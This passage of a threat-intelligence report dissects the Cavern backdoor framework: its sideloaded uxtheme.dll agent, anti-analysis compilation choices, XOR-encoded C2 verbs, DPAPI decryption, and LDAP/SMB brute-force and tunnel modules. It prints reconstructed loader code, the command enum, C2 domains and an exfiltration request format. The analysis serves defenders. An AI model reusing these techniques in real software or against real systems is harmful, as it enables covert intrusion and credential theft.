Since early 2026, Check Point Research (CPR) has tracked a new modular command-and-control framework used by Cavern Manticore, an Iran-nexus APT group primarily targeting Israeli organizations, with a focus on IT providers, and government sectors. Cavern Manticore is an Iran MOIS (Ministry of Intelligence and Security)-linked actor, with links to the OilRig subgroup named Lyceum. The framework reflects a mature and adaptable toolset built around a shared .NET foundation, while using multiple compilation formats across different components, including .NET Framework, .NET Mixed-Mode C++/CLI, and .NET Native AOT. The compilation format itself becomes the anti-analysis layer that forces reverse engineers into multiple toolsets and metadata-reconstruction workflows.

During our investigation, we observed both Cavern agents and Cavern modules in the wild, highlighting a modular architecture that separates core communication capabilities from mission-specific post-exploitation functionality. This design allows the operators to tailor deployments per victim environment, limit what defenders and analysts can recover from any single victim and extend access after compromise through specialized modules for reconnaissance, data access, tunneling, and lateral movement.

Figure 1: Cavern Modules Evade Malware Engines.
Figure 1: Cavern Modules Evade Malware Engines.

Technical Analysis: Cavern – A Modular .NET C2 Framework

1. Cavern at a Glance

Cavern is a modular post-exploitation C2 framework built entirely on .NET, but deliberately compiled into three different binary formats: .NET Framework (IL-only), Mixed-Mode C++/CLI (IL + Native), and .NET 8 NativeAOT (Native-only).

The recovered execution chain begins with SysAid’s software update feature, which the actor leverages to deploy a WinDirStat DLL sideloading package to C:\ProgramData\WinDir\WinDirStat.exe. The legitimate WinDirStat.exe binary loads the trojanized uxtheme.dll, which is the Cavern Agent, and the agent in turn loads a dedicated native communication module n-HTCommp.dll to reach the C2 and then pulls down additional post-exploitation modules on operator command.

Figure 2: Cavern Agent Execution Chain.
Figure 2: Cavern Agent Execution Chain.

The table below provides an overview of the modules.

ComponentInternal NameFormatRole
Cavern Agentuxtheme.dllMixed-Mode C++/CLI (.NET 4.7.2, IL + Native)Core backdoor, module orchestrator
Communication Modulen-HTCommp.dllNativeAOT (.NET 8, Native-only)HTTPS/WebSocket transport, XOR-encrypted traffic
File Managermhm.dll.NET Framework 4.7.2 (IL-only)File ops, DPAPI decrypt, archive handling
SQL Browserdb.dll.NET Framework 4.7.2 (IL-only)Database enumeration, query, export, manipulation
LDAP Moduleode.dll.NET Framework 4.7.2 (IL-only)AD recon, user/group enumeration, LDAP brute-force
Network Modulen-ten.dllNativeAOT (.NET 8, Native-only)Net recon, port scan, share enum, SMB brute-force
Tunnel Modulen-sws.dllNativeAOT (.NET 8, Native-only)SOCKS5 proxy, WebSocket/WSS tunneling

2. Three Compilation Formats as Anti-Analysis

The most distinctive architectural decision in Cavern is the deliberate use of three different .NET compilation targets across its components. This is not obfuscation in the traditional sense; there is no packer, no control-flow flattening, and no string encryption anywhere in the framework. Instead, the compilation format itself becomes the anti-analysis layer, since each of the three formats has to be reversed with a different toolchain and a different workflow, and the analyst has to context-switch between them across components.

  • Pure .NET Framework (IL-only) modules (mhm.dlldb.dllode.dll) retain full symbol metadata, including the shared Command.Type enum with all 61 command IDs, readable class names like ApiEx.DatabaseBrowser, and meaningful method signatures. These modules are trivially decompilable with tools such as ILSpy or dnSpyEx. The developers chose this format for the modules that run inside the agent’s managed AppDomain, where IL code is actually required for reflection-based loading.
  • Mixed-Mode C++/CLI (IL + Native) agents (uxtheme.dll) combine managed .NET code with native C++ in a single PE. Its exports are not regular native functions: each one is a tiny native stub (a jmp followed by ud2 padding) in the .nep section that forwards the call to a managed method behind it. Reversing this format takes both a .NET decompiler for the managed logic and a native disassembler for the export stubs and the C++ marshaling code, so the analyst has to reverse the same binary twice in two different toolchains.
  • NativeAOT .NET 8 (Native-only) modules (n-HTCommp.dlln-ten.dlln-sws.dll) compile the entire .NET runtime statically into a single native PE. The result is usually a 3-6 MB binary with thousands of stripped framework functions, a .managed executable section, and a hydrated BSS-like section where string objects are materialized only at runtime. Security-sensitive P/Invoke calls to APIs like WNetAddConnection2NetShareEnum, or NetLocalGroupGetMembers are resolved through runtime descriptor tables instead of appearing in the PE import table, which hides the module’s real capabilities from import-based triage.

2.1 Tooling Notes for NativeAOT Analysis

NativeAOT is the format that pushed back the hardest during analysis, so it is worth saying a few words on the tooling we put together for it.

To pull useful metadata back out of the NativeAOT samples, we ported Washi’s Ghidra NativeAOT plugin (ghidra-nativeaot; write-up: Recovering Metadata from .NET Native AOT Binaries) to IDA Pro. The port reconstructs the .NET type system from the runtime’s ReadyToRun metadata, rebuilds the MethodTable/EEType hierarchy, recovers virtual methods, materializes the frozen string literals from the hydrated section, and exposes a metadata browser for navigation. It is available at ida-nativeaot.

Figure 3: IDA Pro - “ida-nativeaot” plugin.
Figure 3: IDA Pro – “ida-nativeaot” plugin.

To recover symbols from the stripped NativeAOT .NET 8 modules, we then built a matching .NET 8.0.25 NativeAOT win-x64 “coverage” DLL (compiled with PDB) that deliberately exercises the same .NET runtime and class library code the Cavern samples rely on, and generated IDA FLIRT signatures from it. Applied to the Cavern samples, the signatures matched roughly 60% of all functions, with the matches concentrated on the parts that mattered most for the analysis, e.g., System.Diagnostics.*System.IO.*System.Net.*System.Security.*, and System.Text.*.

3. The Cavern Agent

3.1 UxTheme Facade and Side-Load Trigger

The Cavern Agent is compiled as a 64-bit Mixed-Mode C++/CLI DLL named uxtheme.dll and exports 83 functions that mimic the legitimate Windows theming library. Of these 83 exports, 82 are empty stubs, single-instruction managed methods that return immediately. The one live export is EnableThemeDialogTexture, which serves as the operational entry point for the entire C2 loop.

This design creates a deliberate sandbox trap. Any automated analysis tool that invokes ordinal #1, or any other default export, will observe only inert DLL loading behavior and conclude the sample is benign. The real backdoor personality sits entirely behind export ordinal #20 (0x14).

Figure 4: The Cavern Agent DLL - “uxtheme.dll” → “EnableThemeDialogTexture” exported function.
Figure 4: The Cavern Agent DLL – “uxtheme.dll” → “EnableThemeDialogTexture” exported function.

3.2 C2 Polling Loop

Upon invocation, EnableThemeDialogTexture creates a singleton mutex (MYMUTEX123HELLP02 or MYMUTEX123HELLP04, depending on the build), initializes the local configuration from config.txt, and enters an infinite polling loop. Each iteration builds a command string using the framework’s custom delimiter grammar (_;;_ separates fields, _,_ separates arguments) and hands the actual HTTP transport to n-HTCommp.dll.

Figure 5: The Cavern Agent - Main C2 beacon loop.
Figure 5: The Cavern Agent – Main C2 beacon loop.

3.3 Custom AppDomain Isolation with Post-Execution Unload

One of the most technically interesting mechanisms in the Cavern Agent is its module hosting strategy. Rather than loading .NET modules into the default AppDomain via Assembly.Load (the common approach in most .NET loaders), Cavern creates a dedicated AppDomain for each module executionmarshals a proxy object across the domain boundaryinvokes the module, and then unloads the entire AppDomain.

The reason this design choice is operationally relevant is that .NET assemblies loaded into the default AppDomain cannot be unloaded without terminating the host process. By isolating each module in its own AppDomain, Cavern gets two things: loaded modules can be cleanly removed from memory after execution, leaving no analyzable assembly artifacts behind, and different versions of the same module can be loaded and run one after another without conflict.

Figure 6: The Cavern Agent - “.runAssembely” method → AppDomain isolation.
Figure 6: The Cavern Agent – “.runAssembely” method → AppDomain isolation.

The DotNetProxy class inherits from MarshalByRefObject, which allows it to exist in one AppDomain while being invoked from another. Inside the isolated domain, it performs standard reflection-based loading (via the DotNetProxy.runDll method).

Figure 7: The Cavern Agent - “DotNetProxy.runDll” method → inside the isolated AppDomain.
Figure 7: The Cavern Agent – “DotNetProxy.runDll” method → inside the isolated AppDomain.

3.4 Dual Module Dispatch: Native vs. Managed

The unified module dispatcher is <Module>.run_DLL, a free function on the global <Module> type. The name looks similar to the DotNetProxy.RunDll method shown in the previous section, but the two have different roles<Module>.run_DLL is the outer dispatcher invoked by the agent for every module load, and it is also the one that calls into DotNetProxy.RunDll (via <Module>.runAssembely method) whenever the module turns out to be a managed assembly. The dispatcher itself uses a simple filename convention: modules whose names start with n- are treated as native DLLs and loaded via LoadLibraryA/GetProcAddress, while everything else is treated as a managed .NET assembly and loaded through the AppDomain isolation mechanism described above. Whichever path is taken, the agent ends up calling the same entry point on the loaded module: a function named get_version.

// Cavern Agent - <Module>.run_DLL: Unified Module Dispatcher
// Simplified C# reconstruction of the dnSpyEx decompilation

string <Module>.run_DLL(string moduleName, string arguments)
{
    string resolvedPath = get_latest_dll(moduleName);  // finds highest-numbered version
    string fileName     = Path.GetFileName(resolvedPath);

    if (fileName.StartsWith("n-"))
    {
        // Native module path (NativeAOT compiled)
        IntPtr hModule = LoadLibraryA(resolvedPath);
        if (hModule == IntPtr.Zero)
            return "DLL not found...Maybe you didn't upload it!!!";

        IntPtr pGetVersion = GetProcAddress(hModule, "get_version");
        if (pGetVersion == IntPtr.Zero)
            return "What is this sh*t?! where is get_version?!?";

        var getVersion = Marshal.GetDelegateForFunctionPointer<GetVersionFn>(pGetVersion);
        IntPtr resultPtr = getVersion(Marshal.StringToHGlobalUni(arguments));
        return Marshal.PtrToStringUni(resultPtr);
    }
    else
    {
        // Managed module path (.NET Framework) - loaded in isolated AppDomain
        List<string> argList = new List<string> { arguments };

        return (string)<Module>.runAssembely(
            "mydomain",
            new List<byte>(File.ReadAllBytes(resolvedPath)),
            resolvedPath,
            string.IsNullOrEmpty(arguments),  // noArgs flag
            argList,
            "MyClass.Program",                // fixed class name
            "get_version"                     // fixed method name - the universal interface
        );
    }
}

The native path contains two error strings worth flagging: "What is this sh*t?! where is get_version?!?" and "DLL not found...Maybe you didn't upload it!!!".

Figure 8: The Cavern Agent - native path of dual module dispatch → error strings.
Figure 8: The Cavern Agent – native path of dual module dispatch → error strings.

These are not the kind of polishedneutral diagnostics a code generator tends to emit. They are written in the first person, with frustration, profanity and exclamation marks, and they read exactly like an operator talking to themselves while debugging their own tooling. We come back to what this tells us about authorship in the “Authorship and the Human Factor” section below.

3.5 Module Versioning and Self-Update

Cavern implements a numbered DLL versioning scheme. The function get_latest_dll scans the working directory for files matching a base module name with appended numeric suffixes (e.g., n-HTCommp0.dlln-HTCommp1.dll) and loads the highest-numbered variant. This allows the operator to push module updates via the C2 without file-name conflicts.

Figure 9: The Cavern Agent - module versioning.
Figure 9: The Cavern Agent – module versioning.

The self-command 002 (exposed via self_execute method) accepts a Base64+GZip-compressed module payload from the C2, writes it to disk as a new numbered DLL, and, in the case of uxtheme.dll itself, executes a hot-swap: the running agent renames its own DLL, writes the new version, loads it, calls its EnableThemeDialogTexture with signalCode=200 to signal the update-return path, and terminates. All implemented self-commands are detailed in the next section.

Figure 10: The Cavern Agent - “self_execute” method → self-commands processing.
Figure 10: The Cavern Agent – “self_execute” method → self-commands processing.

3.6 Agent Self-Commands

The agent handles six built-in self-commands before reaching the module dispatcher:

CommandAction
001Update polling interval
002GZip+Base64 module update (including self-update of uxtheme.dll)
003Toggle debug logging
004Activate WebSocket communication mode
005Close WebSocket connection
006Reconnect WebSocket

3.7 Startup Cleanup as Anti-Forensics

Newer agent builds perform aggressive directory cleanup on first startup: they enumerate all files and subdirectories in the working directory and delete everything except the Communication Module (n-HTCommp.dll), the configuration file (config.txt), and log files. This means any modules delivered by the C2 in a previous session are wiped before the next execution cycle, and the agent reports "cleared" to the C2 upon completion.

3.8 Variant Evolution

Three agent builds were recovered, showing clear iterative development:

AttributeOldest BuildBuild 02Build 04
MutexMYMUTEX123HELLPMYMUTEX123HELLP02MYMUTEX123HELLP04
C2 Domainauth.hospitalinstallation.comgoogle.com.hospitalinstallation.comgoogle.com.hospitalinstallation.com
Config Storageid.txt (plain 7-char ID)config.txt (JSON)config.txt (JSON)
Self-Commands001-003001-006 (adds WebSocket)001-006
CleanupNoneWorking-dir wipeWorking-dir wipe
Debug Defaulttruefalsetrue

4. The Communication Module – “n-HTCommp.dll”

The communication module is compiled as a NativeAOT .NET 8 DLL (~5.5 MB, with about 21k stripped framework functions) and exposes a single operational export, get_version. Despite the name, this exported function is a full multi-verb HTTP and WebSocket command dispatcher. The agent passes transport commands as delimited strings, and n-HTCommp.dll parses the verb, performs the network operation, and returns the result.

The verb matching is the first place where the NativeAOT format makes analysis visibly harder. In a normal .NET build, a check like verb == "get" calls String.Equals, and the literal "get" lives in the string heap (#US), where any strings scan will find it. NativeAOT instead compiles the comparison inline: it first checks the length of the verb string, then loads the verb’s UTF-16 characters straight from memory and compares them against hard-coded integer constants. Those constants are simply the verb’s characters packed together as numbers. For "get", the three UTF-16 characters g (0x0067), e (0x0065) and t (0x0074) become the constants 0x650067 and 0x740065 that show up in the comparison.

Figure 11: The Cavern’s “n-HTCommp.dll” module - verb matching → command dispatching.
Figure 11: The Cavern’s “n-HTCommp.dll” module – verb matching → command dispatching.

This is a real triage problem because every readable string in this module behaves differently than in a normal .NET binary. Frozen string literals like httpswsstext/plain, the WebSocket URL fragments and a handful of error messages live in the hydrated section, which is materialized at runtime by the NativeAOT runtime and only becomes a readable UTF-16 string at that point. A strings pass over the DLL on disk does not see them, since on disk that section is a compressed initialization blob. They become visible only after the section is rehydrated, either by running the sample or by reconstructing it statically with the kind of plugin described in section 2.1.

Figure 12: The Cavern’s NativeAOT “n-HTCommp.dll” module - “ida-nativeaot” plugin → section rehydrated → strings reconstructed (e.g. User-Agent).
Figure 12: The Cavern’s NativeAOT “n-HTCommp.dll” module – “ida-nativeaot” plugin → section rehydrated → strings reconstructed (e.g. User-Agent).

The packed verb constants are even further out of reach: they are not strings at all, they are integer immediates baked into the cmp instructions of the dispatcher. So in practice a strings-based triage of this DLL on disk returns almost nothing usable, neither the verb set, nor the URL fragments, nor the user-agent header. The command grammar simply does not exist in any byte sequence that a string scan can pick up.

The dispatcher first marshals the inbound command to a managed string, then splits it on the framework’s two delimiters (_;;_ for the verb/argument boundary and _,_ between arguments), and dispatches to a verb handler.

Figure 13: The Cavern’s “n-HTCommp.dll” module - command dispatcher → verb/argument separation.
Figure 13: The Cavern’s “n-HTCommp.dll” module – command dispatcher → verb/argument separation.

Each verb maps to a distinct network operation, and the handlers differ in three operationally meaningful ways: whether the payload is XORed with key 0x48 (the in-place traffic transform), whether it is then Base64-encoded for the HTTP body, and which HTTP/WS headers and endpoints they touch. Every HTTP-based verb sends a fixed Microsoft Edge User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0), and the two C2-bound verbs (get and send) additionally attach a custom X-User-token header whose value is the agent ID with the literal suffix 00 appended. The summary below was reconstructed by following each verb handler through its full HTTP/WS request build path:

VerbNetworkEndpoint built from argumentsXOR (0x48)Base64User-AgentX-User-tokenPurpose
getHTTP GETargs[1] + "/profile"yes (response body, after Base64 decode)yesyesyes (args[0] + "00")Beacon: poll the C2 for the next task
sendHTTP POST text/plainargs[1] + "/gallery"yes (request body, before Base64 encode)yesyesyes (args[0] + "00")Submit a task result back to the C2
cgetHTTP GETargs[0] (raw URL)nonoyesnoOperator-driven fetch of an arbitrary URL (not C2)
cpostHTTP POSTargs[0] (raw URL), body args[1], content-type args[2] (default text/plain)nonoyesnoOperator-driven POST to an arbitrary URL
uploadHTTP POST multipart/form-dataargs[0] (raw URL), file args[1] from disk as form field file (application/octet-stream)nonoyesnoExfiltrate a local file to an arbitrary URL
wsWS Open + initial WS Sendwss://<host>/socket if args[0] starts with https, otherwise ws://<host>/socket; immediately sends args[1] + "00" as the first text frameyes (initial frame only)non/an/a (sent inside first frame instead)Open the WebSocket transport and register the session
getwsWS Recvactive socketyes (whole accumulated payload, then UTF-8 decoded)non/an/aReceive a message from the WebSocket
sendwsWS Sendactive socketyes (UTF-8 bytes, then framed as text)non/an/aSend a message over the WebSocket
closewsWS Closeactive socketn/an/an/an/aClose the WebSocket

A few practical observations follow directly from the table. First, the XOR transform with key 0x48 is the framework’s traffic-encoding layer, and it applies to every C2-bound channel: it is on both directions of the HTTP path (get / send) and on both directions of the WebSocket path (getws / sendws), plus the initial WS handshake frame. The only verbs that bypass it are cgetcpost and upload, which talk to operator-supplied URLs that have nothing to do with the Cavern C2. Second, Base64 is applied on top of XOR only for the HTTP transport (get and send), where the body has to survive as text/plain; the WebSocket path skips Base64 because it can carry the raw XORed bytes inside a text frame directly. Third, the User-Agent header is fixed across every HTTP verb, including the operator-driven ones, which makes the UA itself a stable host artifact for detection.

Figure 14: The Cavern’s “n-HTCommp.dll” module - “send” command handler.
Figure 14: The Cavern’s “n-HTCommp.dll” module – “send” command handler.

5. Post-Exploitation Modules

All Cavern modules, regardless of compilation format, share a uniform interface contract: the agent invokes get_version(List<string> args) for managed modules or get_version(wchar_t* args) for native modules. The first argument carries a newline-delimited command string using numeric command IDs from the shared Command.Type enum, with _;;_ and _,_ as field/argument delimiters.

Figure 15: Post-exploitation modules - example “mhm.dll” managed module → arguments processing.
Figure 15: Post-exploitation modules – example “mhm.dll” managed module → arguments processing.

The full command set is defined once in that shared enum and reused across every module. We recovered it intact from the .NET Framework modules, which keep their symbols, and it is worth showing in full because the IDs are grouped by capability area. The grouping itself is informative: each block of numbers maps to one functional category, and the gaps between blocks line up neatly with the individual modules that implement them.

public enum Command.Type
{
    NONE                    = 0,    // 0x0   - sentinel / no command         (Agent: uxtheme.dll)
    CHANGE_ALIVE_TIME       = 1,    // 0x1   - update polling interval       (Agent: uxtheme.dll)

    INFO                    = 101,  // 0x65  - host information              (mhm.dll)
    CRYPT_DECRYPT           = 102,  // 0x66  - DPAPI decrypt                 (mhm.dll)
    TOKEN_INFO              = 103,  // 0x67  - token information             (mhm.dll)
    TIME_INFO               = 104,  // 0x68  - time information              (mhm.dll)

    SQL_QUERY               = 201,  // 0xC9  - SQL query                     (db.dll)

    COPY_DIR                = 301,  // 0x12D - copy directory                (mhm.dll)
    COPY_FILE               = 302,  // 0x12E - copy file                     (mhm.dll)
    DRIVES_LIST             = 305,  // 0x131 - list drives                   (mhm.dll)
    FILES_FOLDERS_INFO      = 306,  // 0x132 - files / folders info          (mhm.dll)
    MOVE_FILE               = 307,  // 0x133 - move file                     (mhm.dll)
    MOVE_FOLDER             = 308,  // 0x134 - move folder                   (mhm.dll)
    DEL_FILE                = 309,  // 0x135 - delete file                   (mhm.dll)
    DEL_FOLDER              = 310,  // 0x136 - delete folder                 (mhm.dll)
    CREATE_FOLDER           = 311,  // 0x137 - create folder                 (mhm.dll)
    FILE_FOLDER_LIST        = 312,  // 0x138 - list files / folders          (mhm.dll)
    SEARCH_FILE             = 313,  // 0x139 - search files                  (mhm.dll)
    MOVE                    = 314,  // 0x13A - move                          (mhm.dll)

    LDAP_TEST               = 401,  // 0x191 - LDAP bind test                (ode.dll)
    LDAP_ALL_GROUPS         = 402,  // 0x192 - enumerate all groups          (ode.dll)
    LDAP_ALL_USERS          = 403,  // 0x193 - enumerate all users           (ode.dll)
    LDAP_GROUP_MEMBER       = 404,  // 0x194 - group members                 (ode.dll)
    LDAP_SEARCH             = 405,  // 0x195 - LDAP search                   (ode.dll)
    LDAP_USER_PROPS         = 406,  // 0x196 - user properties               (ode.dll)
    LDAP_BRUTE              = 407,  // 0x197 - LDAP brute-force              (ode.dll)

    PROC_KILL               = 501,  // 0x1F5 - kill process                  (not in modular set; older Cav3rn)
    PROC_LIST               = 502,  // 0x1F6 - list processes                (not in modular set; older Cav3rn)

    REG_ADD                 = 601,  // 0x259 - registry add                  (not in modular set; older Cav3rn)
    REG_DEL                 = 602,  // 0x25A - registry delete               (not in modular set; older Cav3rn)
    REG_QRY_SUBKEYS         = 603,  // 0x25B - registry query subkeys        (not in modular set; older Cav3rn)
    REG_QRY_VALUE           = 604,  // 0x25C - registry query value          (not in modular set; older Cav3rn)

    SRV_LIST                = 701,  // 0x2BD - list services                 (not in modular set; older Cav3rn)
    SRV_RESET               = 702,  // 0x2BE - reset service                 (not in modular set; older Cav3rn)
    SRV_START               = 703,  // 0x2BF - start service                 (not in modular set; older Cav3rn)
    SRV_STOP                = 704,  // 0x2C0 - stop service                  (not in modular set; older Cav3rn)

    GZ_READ                 = 801,  // 0x321 - GZip read (download)          (mhm.dll)
    GZ_WRITE                = 802,  // 0x322 - GZip write (upload)           (mhm.dll)
    COMPRESS_DIR            = 803,  // 0x323 - compress directory            (mhm.dll)
    DECOMPRESS_DIR          = 804,  // 0x324 - decompress directory          (mhm.dll)
    DECOMPRESS_FILE         = 805,  // 0x325 - decompress file               (mhm.dll)
    LIST_ARCHIVE_ITEMS      = 806,  // 0x326 - list archive items            (mhm.dll)

    DBBrowser               = 901,  // 0x385 - SQL database browser          (db.dll)

    NET_DNS_RESOLVE         = 1101, // 0x44D - DNS resolve                   (n-ten.dll)
    NET_INTERFACES          = 1102, // 0x44E - network interfaces            (n-ten.dll)
    NET_IP_CONFIG           = 1103, // 0x44F - IP configuration              (n-ten.dll)
    NET_PING                = 1104, // 0x450 - ping host                     (n-ten.dll)
    NET_STAT                = 1106, // 0x452 - netstat / connections         (n-ten.dll)

    NET_USE_GET_MAP_DRV     = 1201, // 0x4B1 - list mapped drives            (n-ten.dll)
    NET_USE_MAP_DRV         = 1202, // 0x4B2 - map network drive             (n-ten.dll)
    NET_USE_UNMAP_DRV       = 1203, // 0x4B3 - unmap network drive           (n-ten.dll)
    NET_USE_BRUTE           = 1204, // 0x4B4 - SMB credential brute-force    (n-ten.dll)

    NET_USR_GET             = 1301, // 0x515 - user info                     (n-ten.dll)
    NET_USR_GET_ALL         = 1302, // 0x516 - enumerate users               (n-ten.dll)

    NET_LOCAL_GROUP         = 1401, // 0x579 - enumerate local groups        (n-ten.dll)
    NET_LOCAL_GROUP_MEMBERS = 1402, // 0x57A - local group members           (n-ten.dll)

    NET_ARP_TABLE           = 1501, // 0x5DD - ARP table                     (n-ten.dll)

    NET_GET_DOMAIN          = 1601, // 0x641 - current domain / workstation  (n-ten.dll)
    NET_VIEW_SHARE_LIST     = 1602, // 0x642 - list shares on a host         (n-ten.dll)
    NET_DOMAIN_COMPUTERS    = 1603, // 0x643 - list computers in domain      (n-ten.dll)

    NET_PORT_SCN            = 1701  // 0x6A5 - TCP port scan                 (n-ten.dll)
}

The enum defines 61 command IDs in total. Most map directly to a handler in one of the recovered modules, but a handful (such as the 5xx process and 6xx/7xx registry and service ranges) have no implementation in any sample we obtained, which suggests at least one module was never delivered to the victim and is still missing from our set.

Two older Cav3rn-era samples found on VirusTotal during this writeup also help frame that gap. They predate the rename, are nearly identical to each other, and are not part of the modular intrusion documented here, but each ships every ApiEx.* capability (ApiEx.ProcApiEx.RegApiEx.Serv included – related to the 5xx/6xx/7xx command IDs) inside a single .NET DLL under namespace CAV3RN_APIEX_Module rather than across separate modules. Transport in those builds is split: the Cav3rn agent itself only reads steganographic command PNGs from a local inpt\ directory and writes result PNGs into outpt\, while the HTTP exchange against the C2 is performed by a separate HTTP companion module (CAV3RN_Http_Module), which we later recovered as a third Cav3rn-era sample. The companion consumes the same Domain[] and PageName = "cac.aspx" constants the agent carries, POSTs s=<timestamp>&id=<AgentID>&q=<XOR+Base32 telemetry> to https://<adserviceupdate[.]com|hygienehistory[.]com>/cac.aspx, and expects a response whose body starts with a fixed 21-byte JPEG magic header and whose Content-Disposition: filename= value is XOR+Base32-encrypted with the AgentID, then drops the carved payload into the same local inpt\ directory the agent reads from. Two details in that exchange show that cac.aspx is an operator-deployed handler rather than an abused legitimate page: the request and response shape is a custom protocol no clean IIS server would understand or produce, and the companion’s ServerCertificateValidationCallback is hard-coded to always return true, meaning the operator is explicitly not relying on a properly-issued certificate for the C2 endpoint. Whether the underlying IIS server is attacker-stood-up or cac.aspx was planted on a third-party host the operator does not fully control is not something the binary distinguishes.

The modern framework collapses both halves into n-HTCommp.dll with direct HTTPS / WebSocket. The command set is also smaller and clearly under active development, and there is no NativeAOTno Mixed-Mode wrapper, and no AppDomain isolation. Today’s Cavern is a refactor of that same project, split across separate modules and rebuilt around three different compilation formats to harden the analysis. The three hashes (Cav3rn-era samples) are listed in the IOC section as the older Cav3rn agent (two near-identical builds) and the older Cav3rn HTTP module; the rest of this publication stays focused on the modular generation actually used in the intrusion.

5.1 File Manager – “mhm.dll”

The file manager module implements the broadest command surface across three of the enum blocks (the 1xx information block 101-104, the 3xx file/directory block 301-314, and the 8xx archive block 801-806): host information collection, DPAPI decryption, drive/file/directory enumeration, recursive file search with content matching, GZip+Base64 file transfer in both directions, ZIP archive creation/extraction, and file/directory manipulation. It does not implement the 5xx6xx, or 7xx ranges even though those IDs are present in the shared enum it ships.

Its most notable capability is DPAPI decryption of operator-supplied blobs. The CryptDecrypt function takes a Base64-encoded DPAPI-protected blob, calls ProtectedData.Unprotect with DataProtectionScope.CurrentUser, and returns the decrypted plaintext. Because the module runs inside the victim’s process under their user token, this lets the operator decrypt any DPAPI-protected secret that belongs to the compromised user.

Figure 16: The Cavern’s “mhm.dll” module - “CryptDecrypt” DPAPI decryption.
Figure 16: The Cavern’s “mhm.dll” module – “CryptDecrypt” DPAPI decryption.

An older variant of mhm.dll retains legacy “Cav3rn” naming artifacts in its static configuration: file extensions .CvnC.png.CvnA.png.CvnR.png for command, API, and result files, respectively, a config filename Cvn.cfg, a hardcoded page name cac.aspx, and embedded JPEG header magic bytes. These artifacts point to an earlier webshell-style transport layer (the HTTP side fronted by an ASP.NET page on a separate IIS server, invoked by the older Cav3rn HTTP module covered in Section 5, not by this module or by the older Cav3rn agent itself) that was retired when the framework evolved from “Cav3rn” to “Cavern” and moved to the n-HTCommp.dll native communication module.

Figure 17: The Cavern’s “mhm.dll” module - older variant → legacy “Cav3rn” configuration.
Figure 17: The Cavern’s “mhm.dll” module – older variant → legacy “Cav3rn” configuration.

5.2 SQL Database Browser – “db.dll”

The database module implements a REST-like route dispatcher that accepts JSON commands with operator-supplied SQL Server credentials passed through pseudo-HTTP headers. It supports SQL database enumerationqueryexport, and manipulation.

Figure 18: The Cavern’s “db.dll” module - SQL database browser.
Figure 18: The Cavern’s “db.dll” module – SQL database browser.

The connection pool caches SQL connections keyed by connection string. Credentials are supplied per-request via x-db-userx-db-passwordx-db-host, with optional x-db-encrypt and x-db-trust-cert fields, a convention borrowed from HTTP header-based authentication patterns.

5.3 LDAP / Active Directory Module – “ode.dll”

The LDAP module provides Active Directory reconnaissance and credential testing. It auto-discovers the LDAP server and base DN from LDAP://RootDSE when not explicitly supplied, performs paged searches with a page size of 1,000, and always accepts TLS certificates without validation.

The most operationally significant function is LdapBrute, which accepts semicolon-delimited username and hex-encoded password lists, supports file-based input via the <path prefix convention, and includes a configurable inter-attempt delay with break-on-success logic.

Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.
Figure 19: The Cavern’s “ode.dll” LDAP module → “LdapBrute” method.

5.4 Network Reconnaissance Module – “n-ten.dll” (NativeAOT)

The network module is compiled as NativeAOT and provides network reconnaissanceport scanshare enumeration, and SMB brute-force. It resolves its security-sensitive Windows APIs at runtime through P/Invoke descriptor tables, which keep them out of the PE import table. Static analysis of the P/Invoke resolution data recovered 21 dynamically-loaded API descriptors. A selection of the most security-relevant ones is shown below:

P/Invoke TargetLibraryPurpose
WNetAddConnection2mpr.dllMap network drive with credentials
WNetCancelConnection2mpr.dllUnmap network drive
WNetOpenEnum / WNetEnumResourcempr.dllEnumerate network resources
NetUserEnum / NetUserGetInfonetapi32.dllUser enumeration
NetLocalGroupEnum / GetMembersnetapi32.dllLocal group enumeration
NetServerEnumnetapi32.dllDomain computer discovery
NetShareEnumnetapi32.dllShare enumeration
NetWkstaGetInfonetapi32.dllDomain/workstation info

The NetUseBrute function iterates over operator-supplied credential pairs, calling WNetAddConnection2 against a target share with each pair and immediately disconnecting successful connections via WNetCancelConnection2, which gives the operator an SMB-based credential spraying primitive.

Figure 20: The Cavern’s “n-ten.dll” module - “NetUseBrute” function → “WNetAddConnection2”.
Figure 20: The Cavern’s “n-ten.dll” module – “NetUseBrute” function → “WNetAddConnection2”.

5.5 SOCKS5 / WebSocket Tunnel – “n-sws.dll” (NativeAOT)

The tunnel module implements a full SOCKS5 proxy and WebSocket/WSS tunnel in both server and client modes. Its get_version export parses operator-supplied configuration, constructs a command-line argument vector, and dispatches to the internal argument parser, which supports:

Server:  -s -tp <tunnel_port> -sp <socks5_port> -u <user> -p <pass> [-i <info_url>]
Client:  -c -ti <tunnel_ip|domain> -tp <tunnel_port> [-ll <log_level>]

In server mode, it binds HTTP/HTTPS listeners, accepts incoming WebSocket upgrades, enforces username/password authentication, and relays SOCKS5 proxy traffic through the WebSocket tunnel. A built-in HTTP status page at /index.htm returns a Server Status HTML response, a small operational convenience. The tunnel protocol handles five message opcodes: connectheartbeatdatadisconnect, and error.

The binary also preserves developer typos such as "tunnel message receivecd" and "handeling connect ms". Misspellings like these are another small human fingerprint, the kind of thing a person types in a hurry and a code generator generally does not produce. We pull these threads together in the next section.

6. Attribution Indicators

The recovered artifacts contain several developer and infrastructure fingerprints:

  • PDB paths across three modules consistently reference C:\Users\rick\Desktop\Modules\cavern\, which establishes “rick” as the developer username and “cavern” as the internal project name.
  • C2 infrastructure uses subdomains of hospitalinstallation[.]comauth[.]hospitalinstallation[.]com (older builds) and google[.]com[.]hospitalinstallation[.]com (newer builds, where the google[.]com[.] prefix is a simple visual trick aimed at anyone skimming proxy logs).
  • Legacy naming in the older mhm.dll variant references Cav3rn (with a leetspeak “3”) through field names like Cav3rnCommandExt, which suggests the framework was renamed from “Cav3rn” to “Cavern” during its development.
  • Cross-version continuity. Two older non-modular Cav3rn samples (listed in IOCs as the older Cav3rn agent) carry the same ApiEx.* capability tree, the same Command.Type enum and the same idiosyncratic method names that today’s modular Cavern is built on top of. The newer framework adds commands (LDAP_BRUTECRYPT_DECRYPT, archive ops and the NET_PORT_SCN block), retires the webshell + steganography transport in favor of n-HTCommp.dll, and splits the codebase across three different compilation formats – a refactor of the same project, not a rewrite.

7. Authorship and the Human Factor

